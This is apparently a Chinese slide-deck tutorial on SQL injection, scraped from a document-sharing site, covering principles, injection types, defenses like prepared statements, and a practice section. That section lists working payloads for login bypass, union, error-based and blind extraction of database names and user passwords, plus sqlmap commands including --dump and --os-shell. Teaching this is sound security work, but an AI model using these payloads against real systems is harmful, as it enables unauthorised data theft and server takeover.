版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
SQL注入攻击SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL
Injection,即SQL注入。前言目录/CONTENTSSQL注入攻击原理SQL注入攻击分类SQL注入攻击防御SQL注入攻击实践所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。什么是SQL注入一般用户登录用的SQL语句为:SELECT*FROMuserWHEREusername='admin'ANDpassword='passwd';此处admin和passwd分别为用户输入的用户名和密码,如果程序员没有对用户输入的用户名和密码做处理,就可以构造万能密码成功绕过登录验证。SQL注入原理如用户输入'or1#,SQL语句此时将变为:SELECT*FROMuserWHEREusername=''or1#'ANDpassword='';''or1为TRUE,#注释掉后面的内容,逻辑就会变成类似于SELECT*FROMuserWHEREusername=''or1;or语句连接两个条件,其中只要一个为true,结果就会true所以查询语句可以正确执行。SQL注入原理pikachu来测试一下:查看源代码,可以看到SQL语句为:SELECTid,emailFROMmemberWHEREusername='$name';拼接之后,SQL语句为SELECTid,emailFROMmemberWHEREusername=''or1#';语句永恒为真,则输出所有的用户SQL注入原理SQL注入漏洞的产生需要满足两个条件:参数用户可控:前端传给后端的参数内容是用户可以控制的。参数带入数据库查询:传入的参数拼接到SQL语句并带入数据库查询。SQL注入利用条件①http://www.XXXXXX.com/showtail.asp?id=40'②http://www.XXXXXX.com/showtail.asp?id=40
and
1=1③http://www.XXXXXX.com/showtail.asp?id=40
and
1=2如果执行①后,页面上提示报错或者提示数据库错误的话,说明是存在注入漏洞的。如果执行②后,页面正常显示,而执行③后,页面报错,那么说明这个页面是存在注入漏洞的。SQL注入是否存在的判断方式目录/CONTENTSSQL注入攻击原理SQL注入攻击分类SQL注入攻击防御SQL注入攻击实践SQL注入的分类-按注入点类型来分在Web
端大概是/news.php?id=1
这种形式,其注入点id
类型为数字,所以叫数字型注入点。这一类的
SQL
语句原型大概为
select*from
表名
where
id=1。组合出来的sql注入语句为:select*fromnews
whereid=1
and
1=12字符型注入点3搜索型注入点在Web端大概是/news.php?name=admin这种形式,其注入点name类型为字符类型,所以叫字符型注入点。这一类的SQL语句原型大概为select*from表名wherename='admin'。注意多了引号。组合出来的sql注入语句为:select*fromnewswherechr='admin'and1=11数字型注入点这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的SQL语句,其原形大致为:select*from表名where字段like
'%关键字%'。按数据提交方式来分类:GET型注入:提交数据的方式是GET,注入点的位置在GET参数部分。比如有这样的一个链接/news.php?id=1
,
id是注入点。POST型注入:使用POST方式提交数据,注入点位置在POST数据部分,常发生在表单中。cookie注入:HTTP请求的时候会带上客户端的Cookie,注入点存在cookie当中的某个字段中。HTTP头部注入:注入点在HTTP请求头部的某个字段中。比如存在User-Agent字段中。严格讲的话,Cookie其实应该也是算头部注入的一种形式。因为在HTTP请求的时候,Cookie是头部的一个字段。SQL注入的分类-按数据提交方式来分按照执行效果来分类:联合查询注入,可以使用union的情况下的注入。基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。基于布尔的盲注,即可以根据返回页面判断条件真假的注入。基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。SQL注入的分类-按照执行效果来分目录/CONTENTSSQL注入攻击原理SQL注入攻击分类SQL注入攻击防御SQL注入攻击实践1.限制数据类型:在传入参数的地方限制参数的类型,比如整型Integer,随后加入函数判断,如is_numeric($_GET[‘id’])只有当get到的id为数字或者数字字符时才能执行下一步,限制了字符自然就限制了注入,毕竟构造参数怎么可能不传入字符。但这种方法存在一定的限制,只能在特定的页面才能使用,一般大部分都是要求我们传入的字符串,但可以很大程度限制整型注入的情况。SQL注入的防御2.正则匹配过滤:preg_match('/and|select|insert|insert|update|[A-Za-z]|/d+:/i',$id)注释:preg_match()函数匹配传入的id值,/作为正则的起始标识符|代表或[A-Za-z]表示匹配参数中是否存在大小写的26个字符/d匹配是否存在数字+匹配一次或多次/i不区分大小写SQL注入的防御3.函数过滤转移:在PHP中最基本的就是magic_quotes_gpc函数,用于处理’"符号加上/防止转义,如:?id=1'and1=1#===>?id=1/'and1=1#另外还有addslashes(),也具有相同的效果。像前面提到的**preg_match()**函数结合正则表达式或者黑名单也具有预防效果。默认情况下,PHP指令magic_quotes_gpc为on,对所有的GET、POST和COOKIE数据自动运行addslashes()。不要对已经被magic_quotes_gpc转义过的字符串使用addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数get_magic_quotes_gpc()进行检测。mysql_escape_string($string):用反斜杠转义字符串中的特殊字符,用于mysql_query()查询。mysql_real_escape_string()函数转义SQL语句中使用的字符串中的特殊字符。转义的符号包括\x00\n\r\’"\x1aSQL注入的防御4.预编译语句:预编译语句对现在的程序员来说基本都会去设计使用的方法,保障数据库的安全。一般来说,防御SQL注入的最佳方式就是使用预编译语句,绑定变量。Stringquery="selectpasswordfromuserswhereusername='?'";预编译:使用预编译相当于是将数据于代码分离的方式,把传入的参数绑定为一个变量,用?表示,攻击者无法改变SQL的结构,在这个例子中,即使攻击者插入类似admin’or1=1#的字符串,如果不做处理直接带入查询,那么query则变成了query="selectpasswordfromuserswhereusername='admin'or1=1";SQL注入的防御4.预编译语句:闭合了后面的引号,从而执行了恶意代码。而预编译则是将传入的admin’or1=1#当做纯字符串的形式作为username执行,避免了上面说到的SQL语句中的拼接闭合查询语句等过程,可以理解为字符串与sql语句的关系区分开,username此时作为字符串不会被当做之前的SQL语句被带入数据库执行,避免了类似sql语句拼接、闭合等非法操作。就相当于拿着这个字符串去数据库中找有没有这个东西一样。并且使用预编译的SQL语句,SQL语句的语义不会发生改变。SQL注入的防御5.对数据库的敏感信息进行加密:数据库中可以进行MD5算法加密插入到数据库中,像数据库中的用户的账号和密码以及涉及到用的个人隐私的。在插入数据之前使用DES算法加密,密文加密钥组合起来,例如password字段的数据,前十六位为密文,后十六位为密钥,则password等于密文(16位)加上密钥(16位)组合起来,其他表中的字段同理。SQL注入的防御6.管理数据库的配置权限:使用安全的账号和密码策略,SQLServer具有一个超级用户账号,其用户名称是:SA,该用户名不能被修改也不能被删除,所以,我们必须对这个账号进行最强的保护。不在数据库应用中直接使用SA账号,新建一个(而且只建-一个)与SA一样权限的超级用户来管理数据库,其它用户根据实际需要分配仅仅能够满足应用要求的权限,不要给予多余的权限,所有用户(特别是超级用户)都要使用复杂的密码,同时养成定期修改密码的好习惯。SQL注入的防御目录/CONTENTSSQL注入攻击原理SQL注入攻击分类SQL注入攻击防御SQL注入攻击实践MySQL的注释风格内联注释是MySQL数据库为了保持与其他数据库兼容,特意新添加的功能。为了避免从MySQL中导出的SQL语句不能被其他数据库使用,它把一些MySQL特有的语句放在/*!...*/中,这些语句在不兼容的数据库中使用时便不会执行。而MySQL自身却能识别、执行。/*50001*/表示数据库版本>=5.00.01时中间的语句才会执行。在SQL注入中,内联注释常用来绕过waf。MySQL的注释风格MySQL-常用函数函数/
语句功能user()当前用户名database()当前所用数据库current_user()当前用户名(可用来查看权限)version()数据库的版本@@datadir数据库的路径load_file()读文件操作Intooutfile()/intodumpfile写文件操作concat(str1,str2..)函数,直接连接group_concat(str1,str2..)函数,使用逗号做为分隔符concat_ws(sep,str1,str2..)函数,使用第一个参数做为分隔符MySQL-字符串连接函数MySQL-information-schema结构原理:联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合在一起,使用为此为UNINO或UNIONALL
联合查询:将多个查询的结果合并到一起(纵向合并):字段数不变,多个查询的记录数合并基本语法:select语句union操作符联合查询注入的条件:联合查询注入是MySQL注入中的一种方式,在SQL注入中说了注入漏洞存在的相关条件,而联合查询注入这种方法需要满足查询的信息在前端有回显,回显数据的位置就叫回显位。
如果有注入漏洞的页面存在这种回显位就可以利用联合查询注入的方式进行注入。联合查询联合查询注入的一般步骤联合查询判断是否存在注入:Payload:?id=1'联合查询求闭合字符:Payload:?id=1'and1=1%23正常回显
Payload:?id=1'and1=2%23异常回显说明存在布尔类型状态联合查询求列数:Payload:?id=1'orderby3%23
正常回显
Payload:?id=1'orderby4%23异常回显说明存在3个字段联合查询求显示位:Payload:?id=1'unionselect1,2,3%23正常回显
Payload:?id=-1'unionselect1,2,3%232,3位置有回显说明2字段的内容会在name位置回显,3字段的内容会在password位置回显注意:联合查询的时候一般需要把前面的SQL语句置为假联合查询爆数据库查询所有库名:Payload:?id=1'and1=2unionselect1,2,group_concat(schema_name)frominformation_schema.schemata%23查看当前库:Payload:?id=1'and1=2unionselect1,2,concat(database())%23查看库的版本:Payload:?id=1'and1=2unionselect1,2,concat(version())%23联合查询爆表名查询security数据库中所有的表:Payload:?id=1'and1=2unionselect1,2,group_concat(table_name)frominformation_schema.tableswheretable_schema="security"%23联合查询爆列名查询user表中所有列名:Payload:?id=1'and1=2unionselect1,2,group_concat(column_name)frominformation_schema.columnswheretable_schema="security"andtable_name="users"%23联合查询爆字段内容Payload:?id=1'and1=2unionselect1,2,group_concat(id,0x23,username,0x23,password)fromsecurity.users%23SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。MYSQL报错注入大体可以分为以下几类:BIGINT等数据类型溢出Xpath语法错误concat+rand()+group_by()导致主键重复数据库的一些特性注意,在使用报错语句时,有两种使用方法,一种是AND连接,报错语句不需要写SELECT;另一种是UNION,报错语句需要些SELECT,同时还要注意列数量要对应,推荐使用AND连接。报错注入常用函数:Count()计算总数Concat()连接字符串Floor()向下取整数Rand()产生0~1的随机数rand(0)序列是011011报错注入构造payload获取库名;成功拿到库名:security?id=1'Unionselect1,count(*),concat(database(),0x26,floor(rand(0)*2))xfrominformation_schema.columnsgroupbyx;--+报错注入构造payload获取表名;成功拿到表名:users?id=1'Unionselect1,count(*),concat((selecttable_namefrominformation_schema.tableswheretable_schema='security'limit3,1),0x26,floor(rand(0)*2))xfrominformation_schema.columnsgroupbyx;--+报错注入构造payload获取列名;成功拿到列名:username?id=1'Unionselect1,count(*),concat((selectcolumn_namefrominformation_schema.columnswheretable_schema='security'andtable_name='users'limit1,1),0x26,floor(rand(0)*2))xfrominformation_schema.columnsgroupbyx;--+报错注入构造payload获取数据;成功拿到数据-用户名:Dumb?id=1'Unionselect1,count(*),concat((selectpasswordfromuserslimit0,1),0x26,floor(rand(0)*2))xfrominformation_schema.columnsgroupbyx;--+报错注入1、通过floor报错,注入语句如下:andselect1from(selectcount(),concat(version(),floor(rand(0)2))xfrominformation_schema.tablesgroupbyx)a);2、通过ExtractValue报错,注入语句如下:andextractvalue(1,concat(0x5c,(selecttable_namefrominformation_schema.tableslimit1)));3、通过UpdateXml报错,注入语句如下:and1=(updatexml(1,concat(0x3a,(selectuser())),1))4、通过NAME_CONST报错,注入语句如下:andexists(selectfrom(selectfrom(selectname_const(@@version,0))ajoin(selectname_const(@@version,0))b)c)报错注入常用payload5、通过join报错,注入语句如下:select*from(select*frommysql.userajoinmysql.userb)c;6、通过exp报错,注入语句如下:andexp(~(select*from(selectuser())a));7、通过GeometryCollection()报错,注入语句如下:andGeometryCollection(()select*from(selectuser())a)b);8、通过polygon()报错,注入语句如下:andpolygon(()select*from(selectuser())a)b);9、通过multipoint()报错,注入语句如下:andmultipoint(()select*from(selectuser())a)b);报错注入常用payload10、通过multlinestring()报错,注入语句如下:andmultlinestring(()select*from(selectuser())a)b);11、通过multpolygon()报错,注入语句如下:andmultpolygon(()select*from(selectuser())a)b);12、通过linestring()报错,注入语句如下:andlinestring(()select*from(selectuser())a)b);报错注入常用payload盲注一般步骤Boolean型的注入意思就是页面返回的结果是yes/no的,没有明确回显的,通过构造SQL判断语句,查看页面的返回结果是否报错,页面返回是否正常等来判断哪些SQL判断条件是成立的,通过此来获取数据库中的数据。页面没有明确的回显点,只能通过报错信息/异常响应。布尔盲注简介substr()截取字符串ascii()返回字符的ascii码length()返回字符串的长度if(expr1,expr2,expr3)判断语句如果第一个语句正确就执行第二个语句如果错误执行第三个语句mid()返回字符串的一部分left()返回具有指定长度的字符串的左边部分ord()返回字符串第一个字符的ASCII值布尔盲注常用函数基于布尔类型1.判断是否存在注入,注入是字符型还是数字型,例:1or1=1,1'or'1'='12.猜解当前数据库名,例:猜长度andlength(database())=1#,逐个猜字符andascii(substr(database(),1,1))>97#3.猜解数据库中的表名,例:猜表数量and(selectcount(table_name)frominformation_schema.tableswheretable_schema=database())=1#,逐个猜表名长度andlength(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=1#,再逐个猜表名字符andascii(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1,1))>97#布尔盲注4.猜解表中的字段名,例:猜字段数量and(selectcount(column_name)frominformation_schema.columnswheretable_name='users')=1#,逐个猜字段长度andlength(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='users'limit0,1),1))=1#,再逐个猜字段字符(可用二分法)5.猜解数据,先猜数据记录数(可用二分法),再逐个字段猜数据的长度及数据(可用二分法)布尔盲注延时注入又称时间盲注,也是盲注的一种。通过构造延时注入语句后,浏览器页面的响应时间来判断正确的数据;即利用函数sleep()让服务器休眠,通过休眠时间判断执行的语句对错,从而得到我们想要的信息。延时注入简介延时注入的应用场景是,在我们输入and1或者and0的时候,页面的返回无变化,这个时候可以通过andsleep(5)来判断一下页面的响应时间,响应时间在五秒多一点的话,说明此处可以使用延时注入。适用于,无法回显和无法显示错误页面的场景。延时注入应用场景sleep()//延时if(condition,ture,fales)//条件语句ascii()//转换成asciisubstring()substring("string",strart,length)//mid()也一样从哪开始取几位count(column_name)函数返回指定列的值的数目(NULL不计入)。limit[offset,]rowsoffset是偏移量,表示我们现在需要的数据是跳过多少行数据之后的,可以忽略;rows表示我们现在要拿多少行数据。延时注入常用函数1.判断是否存在注入,注入是字符型还是数字型andsleep(5)#2.猜解当前数据库名,例:猜长度andif(length(database())=1,sleep(5),1)#,逐个猜字符andif(ascii(substr(database(),1,1))>97,sleep(5),1)3.猜解数据库中的表名,例:猜表数量andif((selectcount(table_name)frominformation_schema.tableswheretable_schema=database())=1,sleep(5),1)#,逐个猜表名长度andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=1,sleep(5),1),再逐个猜表名字符。延时注入4.猜解表中的字段名,例:猜字段数量andif((selectcount(column_name)frominformation_schema.columnswheretable_name=’users’)=1,sleep(5),1)#,逐个猜字段长度andif(length(substr((selectcolumn_namefrominformation_schema.columnswheretable_name=’users’limit0,1),1))=1,sleep(5),1)#,再逐个猜字段字符(可用二分法)。5.猜解数据,先猜数据记录数(可用二分法),再逐个字段猜数据的长度及数据(可用二分法)。延时注入SQLMAP是一个开源的渗透测试工具,它主要用于自动化地侦测和实施SQL注入攻击以及渗透数据库服务器。SQLMAP配有强大的侦测引擎,适用于高级渗透测试用户,不仅可以获得不同数据库的指纹信息,还可以从数据库中提取数据,此外还能够处理潜在的文件系统以及通过带外数据连接执行系统命令等。SQL注入工具检测注入点:sqlmap.py–u“url”信息探测:判断站点的当前用户是否为数据库管理员sqlmap.py-u“url”--is-dba检测站点中包含哪些数据库sqlmap.py-u“url”--dbs检测当前使用的是哪个数据库sqlmap.py-u“url”--current-db检测当前用户sqlmap.py-u“url”--current-usersqlmap使用sqlmap使用注入流程:爆出指定数据库的所有表sqlmap.py-u"url"--tables-D"schema_name"爆出指定表的列项sqlmap.py-u"url"--columns-T"table_name"-D"schema_name"输出指定数据库指定表的指定列的记录sqlmap.py-u"url"–C"column_name"-T"table_name"-D"schema_name"--dumpPOST注入指定一个参数的方法:sqlmap.py-u"url"--data"n=1&p=1"--data选项为发送我们的指定数据自动搜索表单的方式:sqlmap.py-u"url"–forms通过—forms参数自动搜索表单抓取POST请求内容方式:Sqlmap.py-r/root/Desktop/post通过-r参数加载post请求Cookie注入cookie用于在客户端本地保存用户访问网站时的一些身份验证信息。cookie与get和post方法一样,都可用于客户端向服务器端传递数据。检测注入点:sqlmap.py-u"url"--cookie"id=16"--level2--level,指定探测等级。sqlmap共有五个等级,默认为1。级别1,探测GET和POST数据。级别2,探测Cookie数据。注入指定数据库、操作系统指定数据库,绕过salmap自动检测:sqlmap.py-u"url"--dbms"mysql"-v2指定操作系统:sqlmap.py-u"url"--os"Windows"-v2交互式写shell及命令执行获取Shell:sqlmap.py-u"url"--os-shell执行命令,只要权限足够大,可以输入使用任何命令:sqlmap.py-u"url"--os-cmd=ipconfig以DVWA-SQLinjection的Low级别为例输入参数1
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 年产xx再生塑料米项目建议书
- 年产xx办公耗材项目可行性研究报告(可行性分析)
- 腹腔镜疝气手术
- 2024年四氟丙烯项目投资申请报告代可行性研究报告
- 关于机械安全
- 大班健康教案《心存感恩之心》
- 中班游戏活动教案:照镜子
- 中班美术活动教案及教学反思《圆圆的荷叶》
- 2023-2024学年一年级下学期数学《动手做(二)》(自主学习)导学案
- 医疗专家介绍
- 平行结转分步法
- 高考英语单词3500记忆短文40篇
- 口腔咨询师年总结
- 子宫异常出血病例分析报告
- 妇科膏方调补资料课件
- 易学行业创业分析
- 2024传染病预防ppt课件完整版
- 特殊使用级抗菌药物申请表
- 管理学课件决策与决策方法2
- 小学美术艺术测评分析报告
- 医疗器械培训教学培训课件
评论
0/150
提交评论